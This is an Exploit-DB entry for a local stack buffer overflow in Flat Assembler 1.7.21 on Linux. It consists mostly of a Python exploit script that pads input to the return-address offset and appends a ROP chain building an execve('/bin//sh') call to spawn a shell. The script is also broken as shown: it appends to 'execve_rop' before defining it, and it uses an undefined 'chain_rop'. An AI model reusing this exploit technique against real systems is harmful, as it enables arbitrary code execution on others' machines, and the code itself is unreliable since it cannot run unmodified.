Flat Assembler 1.7.21 - Local Buffer Overflow

EDB-ID:
42265

CVE:
N/A

EDB Verified: ×

Author:
JUAN SACCO

Type:
LOCAL

Exploit: / {}

Platform:
LINUX

Date:
2017-06-28

Vulnerable App:

```
#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com -
<jsacco@exploitpack.com>
#
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team -
http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for
the
# x86 and x86-64 architecture processors, which does multiple passes to
optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler  ) 1.7.21 and prior is prone to a stack-
based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in
the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-
cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack

# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial

junk = 'A' * 5895
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '/bin'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '//sh'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
```

```
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
buffer = junk + chain_rop

try:
   print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["fasm", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "[*] FASM  not found!"
   else:
    print "[*] Error executing exploit"
   raise
```

Tags:

Advisory/Source: Link